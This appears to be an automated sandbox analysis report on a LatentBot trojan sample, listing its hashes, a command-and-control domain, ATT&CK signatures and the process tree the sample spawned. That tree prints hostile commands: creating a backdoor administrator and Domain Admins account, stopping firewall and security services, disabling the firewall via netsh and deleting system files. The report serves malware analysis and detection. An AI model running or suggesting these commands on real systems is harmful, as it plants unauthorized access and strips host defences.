Analysis

  • max time kernel
    141s
  • max time network
    103s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    24-08-2024 21:28

General

  • Target

    bf731bb4cf8fc8724c08864334e138a3_JaffaCakes118.exe

  • Size

    813KB

  • MD5

    bf731bb4cf8fc8724c08864334e138a3

  • SHA1

    2fd67abed797cbcb916125cb9d792f82cbad1d34

  • SHA256

    5dc147d924897e4952e97d7724a9d401c1036bd37f6e6045e8251ff675599beb

  • SHA512

    0a3ecd7f719f1b0b6097b686c73a5ae45ee5a7c874fcbfd89bb2e4d833ffd488738bf8704af580835ae228dc97b80f0a225c6b69d16e7d290ea198785d45c563

  • SSDEEP

    12288:IlsKXp4DADHq8v/t43wJHFDhmS/ymmHcSrU0Qn7bcR0GYeATgUhVnRIF:41XptDHLuw1Nb/p93Rn3cR89MUhxRI

Malware Config

Extracted

Family

latentbot

C2

terranostra.zapto.org

Signatures

  • LatentBot

    Modular trojan written in Delphi which has been in-the-wild since 2013.

  • Modifies firewall policy service 3 TTPs 2 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Modifies WinLogon 2 TTPs 6 IoCs
  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Drops file in System32 directory 1 IoCs
  • Hide Artifacts: Hidden Users 1 TTPs 1 IoCs
  • Drops file in Windows directory 5 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Location Discovery: System Language Discovery 1 TTPs 19 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bf731bb4cf8fc8724c08864334e138a3_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\bf731bb4cf8fc8724c08864334e138a3_JaffaCakes118.exe"
    1⤵
    • Modifies firewall policy service
    • Modifies security service
    • Adds Run key to start application
    • Modifies WinLogon
    • Drops file in System32 directory
    • Hide Artifacts: Hidden Users
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2508
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c del /q c:\windows\system32\dllcache\terms*.*
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2052
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c net user breakts hacker /add
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1092
      • C:\Windows\SysWOW64\net.exe
        net user breakts hacker /add
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2832
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user breakts hacker /add
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2888
    • C:\Windows\SysWOW64\net.exe
      net localgroup administradores breakts /add
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1644
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 localgroup administradores breakts /add
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2876
    • C:\Windows\SysWOW64\net.exe
      net group "Domain Admins" BreakTS /add
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2324
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 group "Domain Admins" BreakTS /add
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2736
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c net stop sharedaccess
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1472
      • C:\Windows\SysWOW64\net.exe
        net stop sharedaccess
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2868
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop sharedaccess
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2824
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c net stop wscsvc
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2240
      • C:\Windows\SysWOW64\net.exe
        net stop wscsvc
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3068
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop wscsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1808
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c netsh firewall set opmode disable
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2180
      • C:\Windows\SysWOW64\netsh.exe
        netsh firewall set opmode disable
        3⤵
        • Modifies Windows Firewall
        • Event Triggered Execution: Netsh Helper DLL
        • System Location Discovery: System Language Discovery
        PID:2760
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ipconfig /all > c:\windows\ipconfig.txt
      2⤵
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2456
      • C:\Windows\SysWOW64\ipconfig.exe
        ipconfig /all
        3⤵
        • System Location Discovery: System Language Discovery
        • Gathers network information
        PID:2820

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • \??\c:\windows\ipconfig.txt

    Filesize

    1KB

    MD5

    36ca8dc5fa7d91e94fc9db1bb3e078a3

    SHA1

    13eed34e8e7010c3bd57fb07d20e97137aebd643

    SHA256

    4a28728671867ecdd18089c6a3880665aef85e5c70b101e3f22cc87385c0a67e

    SHA512

    57535b09b5d00aa08c81572ac1b9803f472b738418b1c0f21e175d267f3150450acd748b2ba69024b2453e571e199dba74cdb5877c4d3ca2677b070e2a34fa51

  • memory/2508-0-0x0000000000220000-0x0000000000221000-memory.dmp

    Filesize

    4KB

  • memory/2508-3-0x0000000009880000-0x0000000009952000-memory.dmp

    Filesize

    840KB

  • memory/2508-5-0x0000000009880000-0x0000000009952000-memory.dmp

    Filesize

    840KB

  • memory/2508-29-0x0000000009880000-0x0000000009952000-memory.dmp

    Filesize

    840KB